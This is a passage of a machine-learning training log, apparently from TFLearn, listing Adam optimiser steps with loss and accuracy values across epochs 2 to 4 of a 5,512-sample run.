0.151s\n# | Adam | epoch: 002 | loss: 0.65745 - acc: 0.6142 -- iter: 2560/5512\n# Training Step: 128  | total loss: 0.65558 | time: 0.155s\n# | Adam | epoch: 002 | loss: 0.65558 - acc: 0.6184 -- iter: 2624/5512\n# Training Step: 129  | total loss: 0.65235 | time: 0.159s\n# | Adam | epoch: 002 | loss: 0.65235 - acc: 0.6253 -- iter: 2688/5512\n# Training Step: 130  | total loss: 0.65094 | time: 0.164s\n# | Adam | epoch: 002 | loss: 0.65094 - acc: 0.6284 -- iter: 2752/5512\n# Training Step: 131  | total loss: 0.64904 | time: 0.168s\n# | Adam | epoch: 002 | loss: 0.64904 - acc: 0.6328 -- iter: 2816/5512\n# Training Step: 132  | total loss: 0.64451 | time: 0.172s\n# | Adam | epoch: 002 | loss: 0.64451 - acc: 0.6351 -- iter: 2880/5512\n# Training Step: 133  | total loss: 0.64219 | time: 0.177s\n# | Adam | epoch: 002 | loss: 0.64219 - acc: 0.6372 -- iter: 2944/5512\n# Training Step: 134  | total loss: 0.63930 | time: 0.183s\n# | Adam | epoch: 002 | loss: 0.63930 - acc: 0.6438 -- iter: 3008/5512\n# Training Step: 135  | total loss: 0.64749 | time: 0.187s\n# | Adam | epoch: 002 | loss: 0.64749 - acc: 0.6341 -- iter: 3072/5512\n# Training Step: 136  | total loss: 0.65391 | time: 0.191s\n# | Adam | epoch: 002 | loss: 0.65391 - acc: 0.6270 -- iter: 3136/5512\n# Training Step: 137  | total loss: 0.65978 | time: 0.195s\n# | Adam | epoch: 002 | loss: 0.65978 - acc: 0.6158 -- iter: 3200/5512\n# Training Step: 138  | total loss: 0.65756 | time: 0.199s\n# | Adam | epoch: 002 | loss: 0.65756 - acc: 0.6183 -- iter: 3264/5512\n# Training Step: 139  | total loss: 0.65338 | time: 0.209s\n# | Adam | epoch: 002 | loss: 0.65338 - acc: 0.6205 -- iter: 3328/5512\n# Training Step: 140  | total loss: 0.65312 | time: 0.216s\n# | Adam | epoch: 002 | loss: 0.65312 - acc: 0.6210 -- iter: 3392/5512\n# Training Step: 141  | total loss: 0.66146 | time: 0.219s\n# | Adam | epoch: 002 | loss: 0.66146 - acc: 0.6151 -- iter: 3456/5512\n# Training Step: 142  | total loss: 0.65639 | time: 0.223s\n# | Adam | epoch: 002 | loss: 0.65639 - acc: 0.6255 -- iter: 3520/5512\n# Training Step: 143  | total loss: 0.66459 | time: 0.228s\n# | Adam | epoch: 002 | loss: 0.66459 - acc: 0.6176 -- iter: 3584/5512\n# Training Step: 144  | total loss: 0.66957 | time: 0.231s\n# | Adam | epoch: 002 | loss: 0.66957 - acc: 0.6059 -- iter: 3648/5512\n# Training Step: 145  | total loss: 0.66582 | time: 0.234s\n# | Adam | epoch: 002 | loss: 0.66582 - acc: 0.6109 -- iter: 3712/5512\n# Training Step: 146  | total loss: 0.66618 | time: 0.237s\n# | Adam | epoch: 002 | loss: 0.66618 - acc: 0.6139 -- iter: 3776/5512\n# Training Step: 147  | total loss: 0.66462 | time: 0.240s\n# | Adam | epoch: 002 | loss: 0.66462 - acc: 0.6166 -- iter: 3840/5512\n# Training Step: 148  | total loss: 0.66477 | time: 0.243s\n# | Adam | epoch: 002 | loss: 0.66477 - acc: 0.6205 -- iter: 3904/5512\n# Training Step: 149  | total loss: 0.66496 | time: 0.246s\n# | Adam | epoch: 002 | loss: 0.66496 - acc: 0.6194 -- iter: 3968/5512\n# Training Step: 150  | total loss: 0.66225 | time: 0.249s\n# | Adam | epoch: 002 | loss: 0.66225 - acc: 0.6293 -- iter: 4032/5512\n# Training Step: 151  | total loss: 0.66177 | time: 0.253s\n# | Adam | epoch: 002 | loss: 0.66177 - acc: 0.6305 -- iter: 4096/5512\n# Training Step: 152  | total loss: 0.66417 | time: 0.256s\n# | Adam | epoch: 002 | loss: 0.66417 - acc: 0.6252 -- iter: 4160/5512\n# Training Step: 153  | total loss: 0.66224 | time: 0.259s\n# | Adam | epoch: 002 | loss: 0.66224 - acc: 0.6315 -- iter: 4224/5512\n# Training Step: 154  | total loss: 0.66369 | time: 0.262s\n# | Adam | epoch: 002 | loss: 0.66369 - acc: 0.6261 -- iter: 4288/5512\n# Training Step: 155  | total loss: 0.66387 | time: 0.265s\n# | Adam | epoch: 002 | loss: 0.66387 - acc: 0.6276 -- iter: 4352/5512\n# Training Step: 156  | total loss: 0.66431 | time: 0.268s\n# | Adam | epoch: 002 | loss: 0.66431 - acc: 0.6273 -- iter: 4416/5512\n# Training Step: 157  | total loss: 0.66387 | time: 0.271s\n# | Adam | epoch: 002 | loss: 0.66387 - acc: 0.6271 -- iter: 4480/5512\n# Training Step: 158  | total loss: 0.66455 | time: 0.274s\n# | Adam | epoch: 002 | loss: 0.66455 - acc: 0.6191 -- iter: 4544/5512\n# Training Step: 159  | total loss: 0.66336 | time: 0.277s\n# | Adam | epoch: 002 | loss: 0.66336 - acc: 0.6165 -- iter: 4608/5512\n# Training Step: 160  | total loss: 0.66037 | time: 0.281s\n# | Adam | epoch: 002 | loss: 0.66037 - acc: 0.6189 -- iter: 4672/5512\n# Training Step: 161  | total loss: 0.66201 | time: 0.284s\n# | Adam | epoch: 002 | loss: 0.66201 - acc: 0.6133 -- iter: 4736/5512\n# Training Step: 162  | total loss: 0.65770 | time: 0.287s\n# | Adam | epoch: 002 | loss: 0.65770 - acc: 0.6238 -- iter: 4800/5512\n# Training Step: 163  | total loss: 0.65456 | time: 0.290s\n# | Adam | epoch: 002 | loss: 0.65456 - acc: 0.6333 -- iter: 4864/5512\n# Training Step: 164  | total loss: 0.65380 | time: 0.293s\n# | Adam | epoch: 002 | loss: 0.65380 - acc: 0.6356 -- iter: 4928/5512\n# Training Step: 165  | total loss: 0.65484 | time: 0.296s\n# | Adam | epoch: 002 | loss: 0.65484 - acc: 0.6283 -- iter: 4992/5512\n# Training Step: 166  | total loss: 0.66417 | time: 0.300s\n# | Adam | epoch: 002 | loss: 0.66417 - acc: 0.6077 -- iter: 5056/5512\n# Training Step: 167  | total loss: 0.66580 | time: 0.303s\n# | Adam | epoch: 002 | loss: 0.66580 - acc: 0.6047 -- iter: 5120/5512\n# Training Step: 168  | total loss: 0.66573 | time: 0.306s\n# | Adam | epoch: 002 | loss: 0.66573 - acc: 0.6083 -- iter: 5184/5512\n# Training Step: 169  | total loss: 0.67190 | time: 0.309s\n# | Adam | epoch: 002 | loss: 0.67190 - acc: 0.6022 -- iter: 5248/5512\n# Training Step: 170  | total loss: 0.66887 | time: 0.313s\n# | Adam | epoch: 002 | loss: 0.66887 - acc: 0.6044 -- iter: 5312/5512\n# Training Step: 171  | total loss: 0.66602 | time: 0.316s\n# | Adam | epoch: 002 | loss: 0.66602 - acc: 0.6096 -- iter: 5376/5512\n# Training Step: 172  | total loss: 0.66455 | time: 0.319s\n# | Adam | epoch: 002 | loss: 0.66455 - acc: 0.6065 -- iter: 5440/5512\n# Training Step: 173  | total loss: 0.67102 | time: 0.322s\n# | Adam | epoch: 002 | loss: 0.67102 - acc: 0.5896 -- iter: 5504/5512\n# Training Step: 174  | total loss: 0.66656 | time: 0.325s\n# | Adam | epoch: 002 | loss: 0.66656 - acc: 0.5962 -- iter: 5512/5512\n# --\n# Training Step: 175  | total loss: 0.66160 | time: 0.003s\n# | Adam | epoch: 003 | loss: 0.66160 - acc: 0.6085 -- iter: 0064/5512\n# Training Step: 176  | total loss: 0.66123 | time: 0.006s\n# | Adam | epoch: 003 | loss: 0.66123 - acc: 0.6101 -- iter: 0128/5512\n# Training Step: 177  | total loss: 0.66064 | time: 0.018s\n# | Adam | epoch: 003 | loss: 0.66064 - acc: 0.6116 -- iter: 0192/5512\n# Training Step: 178  | total loss: 0.66388 | time: 0.021s\n# | Adam | epoch: 003 | loss: 0.66388 - acc: 0.6067 -- iter: 0256/5512\n# Training Step: 179  | total loss: 0.66443 | time: 0.025s\n# | Adam | epoch: 003 | loss: 0.66443 - acc: 0.6070 -- iter: 0320/5512\n# Training Step: 180  | total loss: 0.66470 | time: 0.028s\n# | Adam | epoch: 003 | loss: 0.66470 - acc: 0.6072 -- iter: 0384/5512\n# Training Step: 181  | total loss: 0.66732 | time: 0.032s\n# | Adam | epoch: 003 | loss: 0.66732 - acc: 0.6090 -- iter: 0448/5512\n# Training Step: 182  | total loss: 0.66791 | time: 0.036s\n# | Adam | epoch: 003 | loss: 0.66791 - acc: 0.6059 -- iter: 0512/5512\n# Training Step: 183  | total loss: 0.66137 | time: 0.040s\n# | Adam | epoch: 003 | loss: 0.66137 - acc: 0.6172 -- iter: 0576/5512\n# Training Step: 184  | total loss: 0.66046 | time: 0.045s\n# | Adam | epoch: 003 | loss: 0.66046 - acc: 0.6149 -- iter: 0640/5512\n# Training Step: 185  | total loss: 0.66271 | time: 0.049s\n# | Adam | epoch: 003 | loss: 0.66271 - acc: 0.6049 -- iter: 0704/5512\n# Training Step: 186  | total loss: 0.66192 | time: 0.052s\n# | Adam | epoch: 003 | loss: 0.66192 - acc: 0.6085 -- iter: 0768/5512\n# Training Step: 187  | total loss: 0.66057 | time: 0.056s\n# | Adam | epoch: 003 | loss: 0.66057 - acc: 0.6101 -- iter: 0832/5512\n# Training Step: 188  | total loss: 0.66366 | time: 0.061s\n# | Adam | epoch: 003 | loss: 0.66366 - acc: 0.6069 -- iter: 0896/5512\n# Training Step: 189  | total loss: 0.66181 | time: 0.064s\n# | Adam | epoch: 003 | loss: 0.66181 - acc: 0.6072 -- iter: 0960/5512\n# Training Step: 190  | total loss: 0.66540 | time: 0.068s\n# | Adam | epoch: 003 | loss: 0.66540 - acc: 0.6012 -- iter: 1024/5512\n# Training Step: 191  | total loss: 0.66454 | time: 0.072s\n# | Adam | epoch: 003 | loss: 0.66454 - acc: 0.6020 -- iter: 1088/5512\n# Training Step: 192  | total loss: 0.66346 | time: 0.075s\n# | Adam | epoch: 003 | loss: 0.66346 - acc: 0.6074 -- iter: 1152/5512\n# Training Step: 193  | total loss: 0.66903 | time: 0.078s\n# | Adam | epoch: 003 | loss: 0.66903 - acc: 0.5967 -- iter: 1216/5512\n# Training Step: 194  | total loss: 0.66809 | time: 0.082s\n# | Adam | epoch: 003 | loss: 0.66809 - acc: 0.5979 -- iter: 1280/5512\n# Training Step: 195  | total loss: 0.66449 | time: 0.084s\n# | Adam | epoch: 003 | loss: 0.66449 - acc: 0.6069 -- iter: 1344/5512\n# Training Step: 196  | total loss: 0.65923 | time: 0.088s\n# | Adam | epoch: 003 | loss: 0.65923 - acc: 0.6150 -- iter: 1408/5512\n# Training Step: 197  | total loss: 0.65424 | time: 0.093s\n# | Adam | epoch: 003 | loss: 0.65424 - acc: 0.6269 -- iter: 1472/5512\n# Training Step: 198  | total loss: 0.65005 | time: 0.096s\n# | Adam | epoch: 003 | loss: 0.65005 - acc: 0.6330 -- iter: 1536/5512\n# Training Step: 199  | total loss: 0.65092 | time: 0.099s\n# | Adam | epoch: 003 | loss: 0.65092 - acc: 0.6306 -- iter: 1600/5512\n# Training Step: 200  | total loss: 0.65842 | time: 0.103s\n# | Adam | epoch: 003 | loss: 0.65842 - acc: 0.6144 -- iter: 1664/5512\n# Training Step: 201  | total loss: 0.65459 | time: 0.106s\n# | Adam | epoch: 003 | loss: 0.65459 - acc: 0.6248 -- iter: 1728/5512\n# Training Step: 202  | total loss: 0.65688 | time: 0.109s\n# | Adam | epoch: 003 | loss: 0.65688 - acc: 0.6233 -- iter: 1792/5512\n# Training Step: 203  | total loss: 0.65666 | time: 0.112s\n# | Adam | epoch: 003 | loss: 0.65666 - acc: 0.6188 -- iter: 1856/5512\n# Training Step: 204  | total loss: 0.65522 | time: 0.115s\n# | Adam | epoch: 003 | loss: 0.65522 - acc: 0.6225 -- iter: 1920/5512\n# Training Step: 205  | total loss: 0.65500 | time: 0.119s\n# | Adam | epoch: 003 | loss: 0.65500 - acc: 0.6243 -- iter: 1984/5512\n# Training Step: 206  | total loss: 0.65583 | time: 0.122s\n# | Adam | epoch: 003 | loss: 0.65583 - acc: 0.6260 -- iter: 2048/5512\n# Training Step: 207  | total loss: 0.65266 | time: 0.125s\n# | Adam | epoch: 003 | loss: 0.65266 - acc: 0.6306 -- iter: 2112/5512\n# Training Step: 208  | total loss: 0.65132 | time: 0.128s\n# | Adam | epoch: 003 | loss: 0.65132 - acc: 0.6331 -- iter: 2176/5512\n# Training Step: 209  | total loss: 0.65578 | time: 0.131s\n# | Adam | epoch: 003 | loss: 0.65578 - acc: 0.6276 -- iter: 2240/5512\n# Training Step: 210  | total loss: 0.65818 | time: 0.134s\n# | Adam | epoch: 003 | loss: 0.65818 - acc: 0.6242 -- iter: 2304/5512\n# Training Step: 211  | total loss: 0.65596 | time: 0.137s\n# | Adam | epoch: 003 | loss: 0.65596 - acc: 0.6243 -- iter: 2368/5512\n# Training Step: 212  | total loss: 0.65815 | time: 0.140s\n# | Adam | epoch: 003 | loss: 0.65815 - acc: 0.6244 -- iter: 2432/5512\n# Training Step: 213  | total loss: 0.65288 | time: 0.143s\n# | Adam | epoch: 003 | loss: 0.65288 - acc: 0.6354 -- iter: 2496/5512\n# Training Step: 214  | total loss: 0.65417 | time: 0.146s\n# | Adam | epoch: 003 | loss: 0.65417 - acc: 0.6359 -- iter: 2560/5512\n# Training Step: 215  | total loss: 0.65707 | time: 0.149s\n# | Adam | epoch: 003 | loss: 0.65707 - acc: 0.6223 -- iter: 2624/5512\n# Training Step: 216  | total loss: 0.65455 | time: 0.152s\n# | Adam | epoch: 003 | loss: 0.65455 - acc: 0.6273 -- iter: 2688/5512\n# Training Step: 217  | total loss: 0.65567 | time: 0.156s\n# | Adam | epoch: 003 | loss: 0.65567 - acc: 0.6192 -- iter: 2752/5512\n# Training Step: 218  | total loss: 0.65937 | time: 0.159s\n# | Adam | epoch: 003 | loss: 0.65937 - acc: 0.6198 -- iter: 2816/5512\n# Training Step: 219  | total loss: 0.65628 | time: 0.162s\n# | Adam | epoch: 003 | loss: 0.65628 - acc: 0.6235 -- iter: 2880/5512\n# Training Step: 220  | total loss: 0.65623 | time: 0.165s\n# | Adam | epoch: 003 | loss: 0.65623 - acc: 0.6220 -- iter: 2944/5512\n# Training Step: 221  | total loss: 0.65559 | time: 0.168s\n# | Adam | epoch: 003 | loss: 0.65559 - acc: 0.6239 -- iter: 3008/5512\n# Training Step: 222  | total loss: 0.65662 | time: 0.171s\n# | Adam | epoch: 003 | loss: 0.65662 - acc: 0.6209 -- iter: 3072/5512\n# Training Step: 223  | total loss: 0.65730 | time: 0.174s\n# | Adam | epoch: 003 | loss: 0.65730 - acc: 0.6244 -- iter: 3136/5512\n# Training Step: 224  | total loss: 0.65687 | time: 0.177s\n# | Adam | epoch: 003 | loss: 0.65687 - acc: 0.6245 -- iter: 3200/5512\n# Training Step: 225  | total loss: 0.65065 | time: 0.180s\n# | Adam | epoch: 003 | loss: 0.65065 - acc: 0.6323 -- iter: 3264/5512\n# Training Step: 226  | total loss: 0.64831 | time: 0.183s\n# | Adam | epoch: 003 | loss: 0.64831 - acc: 0.6363 -- iter: 3328/5512\n# Training Step: 227  | total loss: 0.64937 | time: 0.186s\n# | Adam | epoch: 003 | loss: 0.64937 - acc: 0.6336 -- iter: 3392/5512\n# Training Step: 228  | total loss: 0.65087 | time: 0.190s\n# | Adam | epoch: 003 | loss: 0.65087 - acc: 0.6374 -- iter: 3456/5512\n# Training Step: 229  | total loss: 0.65806 | time: 0.192s\n# | Adam | epoch: 003 | loss: 0.65806 - acc: 0.6268 -- iter: 3520/5512\n# Training Step: 230  | total loss: 0.65790 | time: 0.196s\n# | Adam | epoch: 003 | loss: 0.65790 - acc: 0.6219 -- iter: 3584/5512\n# Training Step: 231  | total loss: 0.66239 | time: 0.199s\n# | Adam | epoch: 003 | loss: 0.66239 - acc: 0.6160 -- iter: 3648/5512\n# Training Step: 232  | total loss: 0.65883 | time: 0.202s\n# | Adam | epoch: 003 | loss: 0.65883 - acc: 0.6185 -- iter: 3712/5512\n# Training Step: 233  | total loss: 0.66032 | time: 0.205s\n# | Adam | epoch: 003 | loss: 0.66032 - acc: 0.6144 -- iter: 3776/5512\n# Training Step: 234  | total loss: 0.65700 | time: 0.208s\n# | Adam | epoch: 003 | loss: 0.65700 - acc: 0.6170 -- iter: 3840/5512\n# Training Step: 235  | total loss: 0.66263 | time: 0.213s\n# | Adam | epoch: 003 | loss: 0.66263 - acc: 0.6085 -- iter: 3904/5512\n# Training Step: 236  | total loss: 0.66216 | time: 0.216s\n# | Adam | epoch: 003 | loss: 0.66216 - acc: 0.5992 -- iter: 3968/5512\n# Training Step: 237  | total loss: 0.66305 | time: 0.220s\n# | Adam | epoch: 003 | loss: 0.66305 - acc: 0.6018 -- iter: 4032/5512\n# Training Step: 238  | total loss: 0.65979 | time: 0.223s\n# | Adam | epoch: 003 | loss: 0.65979 - acc: 0.6103 -- iter: 4096/5512\n# Training Step: 239  | total loss: 0.66027 | time: 0.226s\n# | Adam | epoch: 003 | loss: 0.66027 - acc: 0.6118 -- iter: 4160/5512\n# Training Step: 240  | total loss: 0.66169 | time: 0.229s\n# | Adam | epoch: 003 | loss: 0.66169 - acc: 0.6147 -- iter: 4224/5512\n# Training Step: 241  | total loss: 0.66274 | time: 0.232s\n# | Adam | epoch: 003 | loss: 0.66274 - acc: 0.6110 -- iter: 4288/5512\n# Training Step: 242  | total loss: 0.66667 | time: 0.237s\n# | Adam | epoch: 003 | loss: 0.66667 - acc: 0.6046 -- iter: 4352/5512\n# Training Step: 243  | total loss: 0.66677 | time: 0.241s\n# | Adam | epoch: 003 | loss: 0.66677 - acc: 0.6051 -- iter: 4416/5512\n# Training Step: 244  | total loss: 0.67027 | time: 0.244s\n# | Adam | epoch: 003 | loss: 0.67027 - acc: 0.5993 -- iter: 4480/5512\n# Training Step: 245  | total loss: 0.66947 | time: 0.249s\n# | Adam | epoch: 003 | loss: 0.66947 - acc: 0.6003 -- iter: 4544/5512\n# Training Step: 246  | total loss: 0.67052 | time: 0.253s\n# | Adam | epoch: 003 | loss: 0.67052 - acc: 0.5996 -- iter: 4608/5512\n# Training Step: 247  | total loss: 0.66805 | time: 0.256s\n# | Adam | epoch: 003 | loss: 0.66805 - acc: 0.6084 -- iter: 4672/5512\n# Training Step: 248  | total loss: 0.66883 | time: 0.260s\n# | Adam | epoch: 003 | loss: 0.66883 - acc: 0.6023 -- iter: 4736/5512\n# Training Step: 249  | total loss: 0.66761 | time: 0.263s\n# | Adam | epoch: 003 | loss: 0.66761 - acc: 0.5998 -- iter: 4800/5512\n# Training Step: 250  | total loss: 0.66610 | time: 0.268s\n# | Adam | epoch: 003 | loss: 0.66610 - acc: 0.6008 -- iter: 4864/5512\n# Training Step: 251  | total loss: 0.66507 | time: 0.272s\n# | Adam | epoch: 003 | loss: 0.66507 - acc: 0.6048 -- iter: 4928/5512\n# Training Step: 252  | total loss: 0.66348 | time: 0.275s\n# | Adam | epoch: 003 | loss: 0.66348 - acc: 0.6084 -- iter: 4992/5512\n# Training Step: 253  | total loss: 0.66309 | time: 0.279s\n# | Adam | epoch: 003 | loss: 0.66309 - acc: 0.6100 -- iter: 5056/5512\n# Training Step: 254  | total loss: 0.66143 | time: 0.283s\n# | Adam | epoch: 003 | loss: 0.66143 - acc: 0.6115 -- iter: 5120/5512\n# Training Step: 255  | total loss: 0.66756 | time: 0.286s\n# | Adam | epoch: 003 | loss: 0.66756 - acc: 0.6004 -- iter: 5184/5512\n# Training Step: 256  | total loss: 0.66564 | time: 0.289s\n# | Adam | epoch: 003 | loss: 0.66564 - acc: 0.6028 -- iter: 5248/5512\n# Training Step: 257  | total loss: 0.66356 | time: 0.294s\n# | Adam | epoch: 003 | loss: 0.66356 - acc: 0.6051 -- iter: 5312/5512\n# Training Step: 258  | total loss: 0.66398 | time: 0.297s\n# | Adam | epoch: 003 | loss: 0.66398 - acc: 0.5992 -- iter: 5376/5512\n# Training Step: 259  | total loss: 0.66448 | time: 0.300s\n# | Adam | epoch: 003 | loss: 0.66448 - acc: 0.5987 -- iter: 5440/5512\n# Training Step: 260  | total loss: 0.66232 | time: 0.303s\n# | Adam | epoch: 003 | loss: 0.66232 - acc: 0.6060 -- iter: 5504/5512\n# Training Step: 261  | total loss: 0.66279 | time: 0.306s\n# | Adam | epoch: 003 | loss: 0.66279 - acc: 0.6017 -- iter: 5512/5512\n# --\n# Training Step: 262  | total loss: 0.66127 | time: 0.003s\n# | Adam | epoch: 004 | loss: 0.66127 - acc: 0.6024 -- iter: 0064/5512\n# Training Step: 263  | total loss: 0.66192 | time: 0.006s\n# | Adam | epoch: 004 | loss: 0.66192 - acc: 0.6016 -- iter: 0128/5512\n# Training Step: 264  | total loss: 0.66821 | time: 0.009s\n# | Adam | epoch: 004 | loss: 0.66821 - acc: 0.5914 -- iter: 0192/5512\n# Training Step: 265  | total loss: 0.67123 | time: 0.012s\n# | Adam | epoch: 004 | loss: 0.67123 - acc: 0.5823 -- iter: 0256/5512\n# Training Step: 266  | total loss: 0.66673 | time: 0.015s\n# | Adam | epoch: 004 | loss: 0.66673 - acc: 0.5881 -- iter: 0320/5512\n# Training Step: 267  | total loss: 0.66689 | time: 0.018s\n# | Adam | epoch: 004 | loss: 0.66689 - acc: 0.5855 -- iter: 0384/5512\n# Training Step: 268  | total loss: 0.66341 | time: 0.021s\n# | Adam | epoch: 004 | loss: 0.66341 - acc: 0.5910 -- iter: 0448/5512\n# Training Step: 269  | total loss: 0.66140 | time: 0.024s\n# | Adam | epoch: 004 | loss: 0.66140 - acc: 0.5976 -- iter: 0512/5512\n# Training Step: 270  | total loss: 0.67128 | time: 0.027s\n# | Adam | epoch: 004 | loss: 0.67128 - acc: 0.5956 -- iter: 0576/5512\n# Training Step: 271  | total loss: 0.66997 | time: 0.030s\n# | Adam | epoch: 004 | loss: 0.66997 - acc: 0.5986 -- iter: 0640/5512\n# Training Step: 272  | total loss: 0.66559 | time: 0.033s\n# | Adam | epoch: 004 | loss: 0.66559 - acc: 0.6059 -- iter: 0704/5512\n# Training Step: 273  | total loss: 0.66651 | time: 0.036s\n# | Adam | epoch: 004 | loss: 0.66651 - acc: 0.6016 -- iter: 0768/5512\n# Training Step: 274  | total loss: 0.66804 | time: 0.039s\n# | Adam | epoch: 004 | loss: 0.66804 - acc: 0.5976 -- iter: 0832/5512\n# Training Step: 275  | total loss: 0.66146 | time: 0.043s\n# | Adam | epoch: 004 | loss: 0.66146 - acc: 0.6066 -- iter: 0896/5512\n# Training Step: 276  | total loss: 0.66590 | time: 0.046s\n# | Adam | epoch: 004 | loss: 0.66590 - acc: 0.6038 -- iter: 0960/5512\n# Training Step: 277  | total loss: 0.67008 | time: 0.049s\n# | Adam | epoch: 004 | loss: 0.67008 - acc: 0.6012 -- iter: 1024/5512\n# Training Step: 278  | total loss: 0.66609 | time: 0.052s\n# | Adam | epoch: 004 | loss: 0.66609 - acc: 0.6052 -- iter: 1088/5512\n# Training Step: 279  | total loss: 0.66807 | time: 0.054s\n# | Adam | epoch: 004 | loss: 0.66807 - acc: 0.5978 -- iter: 1152/5512\n# Training Step: 280  | total loss: 0.66567 | time: 0.058s\n# | Adam | epoch: 004 | loss: 0.66567 - acc: 0.6005 -- iter: 1216/5512\n# Training Step: 281  | total loss: 0.66873 | time: 0.061s\n# | Adam | epoch: 004 | loss: 0.66873 - acc: 0.5998 -- iter: 1280/5512\n# Training Step: 282  | total loss: 0.66699 | time: 0.064s\n# | Adam | epoch: 004 | loss: 0.66699 - acc: 0.5961 -- iter: 1344/5512\n# Training Step: 283  | total loss: 0.66378 | time: 0.067s\n# | Adam | epoch: 004 | loss: 0.66378 - acc: 0.6162 -- iter: 1408/5512\n# Training Step: 284  | total loss: 0.66563 | time: 0.070s\n# | Adam | epoch: 004 | loss: 0.66563 - acc: 0.6108 -- iter: 1472/5512\n# Training Step: 285  | total loss: 0.66542 | time: 0.073s\n# | Adam | epoch: 004 | loss: 0.66542 - acc: 0.6122 -- iter: 1536/5512\n# Training Step: 286  | total loss: 0.66480 | time: 0.076s\n# | Adam | epoch: 004 | loss: 0.66480 - acc: 0.6213 -- iter: 1600/5512\n# Training Step: 287  | total loss: 0.66151 | time: 0.079s\n# | Adam | epoch: 004 | loss: 0.66151 - acc: 0.6342 -- iter: 1664/5512\n# Training Step: 288  | total loss: 0.66275 | time: 0.083s\n# | Adam | epoch: 004 | loss: 0.66275 - acc: 0.6286 -- iter: 1728/5512\n# Training Step: 289  | total loss: 0.66314 | time: 0.086s\n# | Adam | epoch: 004 | loss: 0.66314 - acc: 0.6251 -- iter: 1792/5512\n# Training Step: 290  | total loss: 0.66116 | time: 0.089s\n# | Adam | epoch: 004 | loss: 0.66116 - acc: 0.6298 -- iter: 1856/5512\n# Training Step: 291  | total loss: 0.66297 | time: 0.092s\n# | Adam | epoch: 004 | loss: 0.66297 - acc: 0.6246 -- iter: 1920/5512\n# Training Step: 292  | total loss: 0.66213 | time: 0.095s\n# | Adam | epoch: 004 | loss: 0.66213 - acc: 0.6278 -- iter: 1984/5512\n# Training Step: 293  | total loss: 0.66228 | time: 0.098s\n# | Adam | epoch: 004 | loss: 0.66228 - acc: 0.6228 -- iter: 2048/5512\n# Training Step: 294  | total loss: 0.65460 | time: 0.101s\n# | Adam | epoch: 004 | loss: 0.65460 - acc: 0.6449 -- iter: 2112/5512\n# Training Step: 295  | total loss: 0.64837 | time: 0.104s\n# | Adam | epoch: 004 | loss: 0.64837 - acc: 0.6538 -- iter: 2176/5512\n# Training Step: 296  | total loss: 0.64471 | time: 0.108s\n# | Adam | epoch: 004 | loss: 0.64471 - acc: 0.6619 -- iter: 2240/5512\n# Training Step: 297  | total loss: 0.64643 | time: 0.112s\n# | Adam | epoch: 004 | loss: 0.64643 - acc: 0.6598 -- iter: 2304/5512\n# Training Step: 298  | total loss: 0.64630 | time: 0.115s\n# | Adam | epoch: 004 | loss: 0.64630 - acc: 0.6579 -- iter: 2368/5512\n# Training Step: 299  | total loss: 0.64923 | time: 0.119s\n# | Adam | epoch: 004 | loss: 0.64923 - acc: 0.6483 -- iter: 2432/5512\n# Training Step: 300  | total loss: 0.64949 | time: 0.122s\n# | Adam | epoch: 004 | loss: 0.64949 - acc: 0.6476 -- iter: 2496/5512\n# Training Step: 301  | total loss: 0.65055 | time: 0.125s\n# | Adam | epoch: 004 | loss: 0.65055 - acc: 0.6453 -- iter: 2560/5512\n# Training Step: 302  | total loss: 0.64955 | time: 0.128s\n# | Adam | epoch: 004 | loss: 0.64955 - acc: 0.6480 -- iter: 2624/5512\n# Training Step: 303  | total loss: 0.65100 | time: 0.131s\n# | Adam | epoch: 004 | loss: 0.65100 - acc: 0.6410 -- iter: 2688/5512\n# Training Step: 304  | total loss: 0.65370 | time: 0.137s\n# | Adam | epoch: 004 | loss: 0.65370 - acc: 0.6347 -- iter: 2752/5512\n# Training Step: 305  | total loss: 0.65202 | time: 0.140s\n# | Adam | epoch: 004 | loss: 0.65202 - acc: 0.6306 -- iter: 2816/5512\n# Training Step: 306  | total loss: 0.65256 | time: 0.143s\n# | Adam | epoch: 004 | loss: 0.65256 - acc: 0.6332 -- iter: 2880/5512\n# Training Step: 307  | total loss: 0.65510 | time: 0.147s\n# | Adam | epoch: 004 | loss: 0.65510 - acc: 0.6292 -- iter: 2944/5512\n# Training Step: 308  | total loss: 0.65341 | time: 0.150s\n# | Adam | epoch: 004 | loss: 0.65341 - acc: 0.6335 -- iter: 3008/5512\n# Training Step: 309  | total loss: 0.64919 | time: 0.153s\n# | Adam | epoch: 004 | loss: 0.64919 - acc: 0.6420 -- iter: 3072/5512\n# Training Step: 310  | total loss: 0.65358 | time: 0.158s\n# | Adam | epoch: 004 | loss: 0.65358 - acc: 0.6387 -- iter: 3136/5512\n# Training Step: 311  | total loss: 0.65057 | time: 0.161s\n# | Adam | epoch: 004 | loss: 0.65057 - acc: 0.6452 -- iter: 3200/5512\n# Training Step: 312  | total loss: 0.65456 | time: 0.164s\n# | Adam | epoch: 004 | loss: 0.65456 - acc: 0.6432 -- iter: 3264/5512\n# Training Step: 313  | total loss: 0.65393 | time: 0.169s\n# | Adam | epoch: 004 | loss: 0.65393 - acc: 0.6460 -- iter: 3328/5512\n# Training Step: 314  | total loss: 0.64882 | time: 0.172s\n# | Adam | epoch: 004 | loss: 0.64882 - acc: 0.6502 -- iter: 3392/5512\n# Training Step: 315  | total loss: 0.65174 | time: 0.175s\n# | Adam | epoch: 004 | loss: 0.65174 - acc: 0.6492 -- iter: 3456/5512\n# Training Step: 316  | total loss: 0.65500 | time: 0.179s\n# | Adam | epoch: 004 | loss: 0.65500 - acc: 0.6437 -- iter: 3520/5512\n# Training Step: 317  | total loss: 0.65204 | time: 0.182s\n# | Adam | epoch: 004 | loss: 0.65204 - acc: 0.6449 -- iter: 3584/5512\n# Training Step: 318  | total loss: 0.65791 | time: 0.185s\n# | Adam | epoch: 004 | loss: 0.65791 - acc: 0.6304 -- iter: 3648/5512\n# Training Step: 319  | total loss: 0.66114 | time: 0.191s\n# | Adam | epoch: 004 | loss: 0.66114 - acc: 0.6236 -- iter: 3712/5512\n# Training Step: 320  | total loss: 0.66111 | time: 0.195s\n# | Adam | epoch: 004 | loss: 0.66111 - acc: 0.6222 -- iter: 3776/5512\n# Training Step: 321  | total loss: 0.66010 | time: 0.198s\n# | Adam | epoch: 004 | loss: 0.66010 - acc: 0.6225 -- iter: 3840/5512\n# Training Step: 322  | total loss: 0.65658 | time: 0.202s\n# | Adam | epoch: 004 | loss: 0.65658 - acc: 0.6243 -- iter: 3904/5512\n# Training Step: 323  | total loss: 0.65641 | time: 0.205s\n# | Adam | epoch: 004 | loss: 0.65641 - acc: 0.6244 -- iter: 3968/5512\n# Training Step: 324  | total loss: 0.65427 | time: 0.208s\n# | Adam | epoch: 004 